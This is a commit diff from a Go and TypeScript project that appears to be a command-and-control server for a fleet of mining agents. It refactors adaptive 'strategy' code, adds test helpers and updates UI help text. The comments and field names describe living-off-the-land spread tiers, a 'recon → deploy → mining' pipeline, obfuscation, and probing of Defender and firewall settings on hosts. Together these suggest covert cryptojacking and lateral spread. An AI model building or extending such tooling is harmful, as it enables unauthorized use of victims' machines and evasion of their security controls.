Fix validation failures from loose-end sweep
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 01:29:54 -07:00
parent 85376eac7c
commit f27cec887a
8 changed files with 33 additions and 13 deletions

View File

@@ -62,6 +62,7 @@ type AgentClient struct {
miningChain *MiningChainRunner miningChain *MiningChainRunner
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update). // tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
tierPolicy miner.MiningTierPolicy tierPolicy miner.MiningTierPolicy
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
adaptiveStrategy AdaptiveStrategy adaptiveStrategy AdaptiveStrategy
// triplePolicy is server-pulled recon → deploy → mining gate policy. // triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy triplePolicy miner.TripleOnionPolicy

View File

@@ -62,8 +62,8 @@ type MiningDiagnostics struct {
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"` EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
LOTLTier string `json:"lotl_tier,omitempty"` LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"` LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
TierChainOrder []string `json:"tier_chain_order,omitempty"` TierChainOrder []string `json:"tier_chain_order,omitempty"`
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"` TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"` AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"`
StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"` StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"` WebGPUReady bool `json:"webgpu_ready,omitempty"`

View File

@@ -4,6 +4,7 @@ import (
"context" "context"
"encoding/json" "encoding/json"
"errors" "errors"
"fmt"
"io" "io"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
@@ -83,13 +84,22 @@ func fleetChiRoute(method, pattern string, handler http.HandlerFunc) http.Handle
return r return r
} }
func testAgentClientIP(agentID string) string {
var sum int
for i, c := range agentID {
sum += int(c) * (i + 1)
}
return fmt.Sprintf("10.42.%d.%d", (sum%250)+1, ((sum/250)%250)+1)
}
func connectTestAgent(t *testing.T, hub *WSHub, agentID string) *websocket.Conn { func connectTestAgent(t *testing.T, hub *WSHub, agentID string) *websocket.Conn {
t.Helper() t.Helper()
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS)) srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
t.Cleanup(srv.Close) t.Cleanup(srv.Close)
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) hdr := http.Header{"X-Forwarded-For": {testAgentClientIP(agentID)}}
conn, _, err := websocket.DefaultDialer.Dial(wsURL, hdr)
if err != nil { if err != nil {
t.Fatalf("dial agent ws: %v", err) t.Fatalf("dial agent ws: %v", err)
} }

View File

@@ -263,6 +263,7 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) {
h.mu.Unlock() h.mu.Unlock()
} }
// SetAdaptiveEngine wires the fleet learning engine and starts background rescoring.
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) { func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
h.mu.Lock() h.mu.Lock()
h.adaptiveEngine = e h.adaptiveEngine = e
@@ -882,7 +883,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
domainJoined = true domainJoined = true
} }
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp) adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp)
resp["adaptive_strategy"] = adaptive
} }
return resp return resp
}())}) }())})
@@ -1721,6 +1723,7 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string {
return ids return ids
} }
// PushAdaptiveStrategyUpdates recomputes and pushes adaptive_strategy_update to online agents.
func (h *WSHub) PushAdaptiveStrategyUpdates() int { func (h *WSHub) PushAdaptiveStrategyUpdates() int {
h.mu.RLock() h.mu.RLock()
engine := h.adaptiveEngine engine := h.adaptiveEngine
@@ -1763,12 +1766,10 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int
if v, ok := payload["firewall_domain"].(bool); ok { if v, ok := payload["firewall_domain"].(bool); ok {
firewallDomain = &v firewallDomain = &v
} }
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "") attempts := parseLOTLAttemptsFromPayload(payload)
if hr, ok := payload["mining_hashrate"].(float64); ok { hashrate, _ := payload["mining_hashrate"].(float64)
if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 { activeTier, _ := payload["lotl_tier"].(string)
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier) h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier)
}
}
} }
func (h *WSHub) ingestStrategyFromStats( func (h *WSHub) ingestStrategyFromStats(

View File

@@ -652,6 +652,9 @@ func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
} }
updates = append(updates, u) updates = append(updates, u)
} }
if len(updates) < 2 {
continue
}
batchCh <- batchResult{updates: updates} batchCh <- batchResult{updates: updates}
return return
} }

View File

@@ -163,7 +163,9 @@ function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
for (const row of raw) { for (const row of raw) {
if (!row || typeof row !== 'object') continue; if (!row || typeof row !== 'object') continue;
const r = row as Record<string, unknown>; const r = row as Record<string, unknown>;
if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue; if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') {
continue;
}
out.push({ fact: r.fact, inference: r.inference, action: r.action }); out.push({ fact: r.fact, inference: r.inference, action: r.action });
} }
return out.length ? out : undefined; return out.length ? out : undefined;
@@ -259,7 +261,8 @@ function resolveMiningOrder(
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } { ): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
if (diag?.adaptive_strategy?.tier_order?.length) { if (diag?.adaptive_strategy?.tier_order?.length) {
const adaptiveOrder = diag.adaptive_strategy.tier_order; const adaptiveOrder = diag.adaptive_strategy.tier_order;
if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) { const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
if (adaptiveActive || (diag.strategy_reasoning?.length ?? 0) > 0) {
return { return {
order: adaptiveOrder, order: adaptiveOrder,
skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [], skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],

View File

@@ -1,6 +1,6 @@
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */ /** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */ /** Operator note: spread tiers here are distinct from mining tiers. Adaptive strategy (server/internal/strategy) learns mining tier order from fleet stats and pushes strategy_reasoning on auth — it overrides mining order/skip hints only, not spread lotl_onion_tiers or patch_first gates. */
export const ADAPTIVE_STRATEGY_HELP = export const ADAPTIVE_STRATEGY_HELP =
'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.'; 'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';

View File

@@ -34,6 +34,7 @@ describe('FIELD_HELP', () => {
'calibrate_quick_setup', 'calibrate_quick_setup',
'forge_simple_mode', 'forge_simple_mode',
'forge_lotl_onion', 'forge_lotl_onion',
'lotl_onion_tiers',
'forge_recommended_defaults', 'forge_recommended_defaults',
'obfuscate', 'obfuscate',
'sigil_scramble', 'sigil_scramble',
@@ -94,6 +95,7 @@ describe('FIELD_HELP', () => {
'websocket_ping_seconds', 'websocket_ping_seconds',
'log_pool_traffic', 'log_pool_traffic',
'adapt_to_hardware', 'adapt_to_hardware',
'adaptive_strategy',
'self_healing', 'self_healing',
'firewall_exclusion', 'firewall_exclusion',
'firewall_remote', 'firewall_remote',